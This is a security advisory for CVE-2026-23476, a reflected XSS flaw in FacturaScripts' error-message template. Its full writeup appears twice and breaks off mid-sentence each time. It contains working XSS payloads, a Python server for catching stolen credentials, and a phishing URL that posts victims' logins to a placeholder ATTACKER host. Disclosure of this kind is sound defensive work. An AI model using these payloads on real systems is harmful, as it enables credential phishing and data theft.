CVE-2026-23476

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)

---

What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

{% for item in messages %}
    <div>{{ item.message | raw }}</div>
{% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>
2. The app tries to look up a product with that "code"
3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer
4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"

5. This gets logged via MiniLog and displayed to the user
6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.

---

Reproduction Steps

Requirements

• Working FacturaScripts install
• Any user account (doesn't need to be admin)
• The victim needs to be logged in

Quick test

Just visit this URL while logged in:

http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query)
        print(f"\nGot creds:")
        print(f"  User: {q.get('user', ['?'])[0]}")
        print(f"  Pass: {q.get('pass', ['?'])[0]}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('', 8888), Handler).serve_forever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter:

• /EditProducto?code=
• /EditCliente?code=
• /EditFacturaCliente?code=
• /EditProveedor?code=
• etc.

Basically all the Edit controllers.

---

Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're…

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to 2025.8, there a reflected XSS bug in FacturaScripts. The problem is in how error messages get displayed. Twig's | raw filter is used, which skips HTML escaping. When triggering a database error (like passing a string where an integer is expected), the error message includes the input and gets rendered without sanitization. This vulnerability is fixed in 2025.8.

Reflected XSS via SQL Error Messages

Summary

A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's | raw filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization.

Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form).

CVSS 6.1 (Medium-High)

---

What was Found

Where the bug exists in the code:

Core/View/Macro/Utils.html.twig, line 27:

{% for item in messages %}
    <div>{{ item.message | raw }}</div>
{% endfor %}

That | raw is the problem. It tells Twig not to escape anything.

How it works

So here's what happens:

1. Hhit /EditProducto?code=<svg onload=alert(1)> or <img src=x onerror=alert(1)>
2. The app tries to look up a product with that "code"
3. PostgreSQL throws an error because <svg onload=alert(1)> isn't a valid integer
4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "<svg onload=alert(1)>" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '<img src=x onerror=alert(1)>"

5. This gets logged via MiniLog and displayed to the user
6. Because of | raw, the browser actually executes the JS

The error logging happens in Core/Base/DataBase.php around line 236:

self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]);

And PostgreSQL's error message includes whatever garbage it was sent.

---

Reproduction Steps

Requirements

• Working FacturaScripts install
• Any user account (doesn't need to be admin)
• The victim needs to be logged in

Quick test

Just visit this URL while logged in:

http://localhost/EditProducto?code=<svg onload=alert(document.domain)>

An alert box should pop up.

For a real attack (credential phishing)

Set up a simple server to catch credentials:

from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        q = parse_qs(urlparse(self.path).query)
        print(f"\nGot creds:")
        print(f"  User: {q.get('user', ['?'])[0]}")
        print(f"  Pass: {q.get('pass', ['?'])[0]}")
        self.send_response(200)
        self.end_headers()
    def log_message(self, *args): pass

HTTPServer(('', 8888), Handler).serve_forever()

Then craft a URL that injects a fake login form:

http://TARGET/EditProducto?code=<svg onload="document.body.innerHTML='<div style=text-align:center;padding:100px><h2>Session Expired</h2><form action=http://ATTACKER:8888/steal><input name=user placeholder=Username><br><input name=pass type=password placeholder=Password><br><button>Login</button></form></div>'">

Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed.

Other endpoints that work

Pretty much anything that uses the code parameter:

• /EditProducto?code=
• /EditCliente?code=
• /EditFacturaCliente?code=
• /EditProveedor?code=
• etc.

Basically all the Edit controllers.

---

Impact

What attackers can do with this

Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password.

Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere.

Keylog - Inject a keylogger that captures everything they type.

Bypass CSRF - Grab the multireqtoken from the page and make requests as the victim.

What attackers CAN'T do

Can't steal session cookies via document.cookie - they're…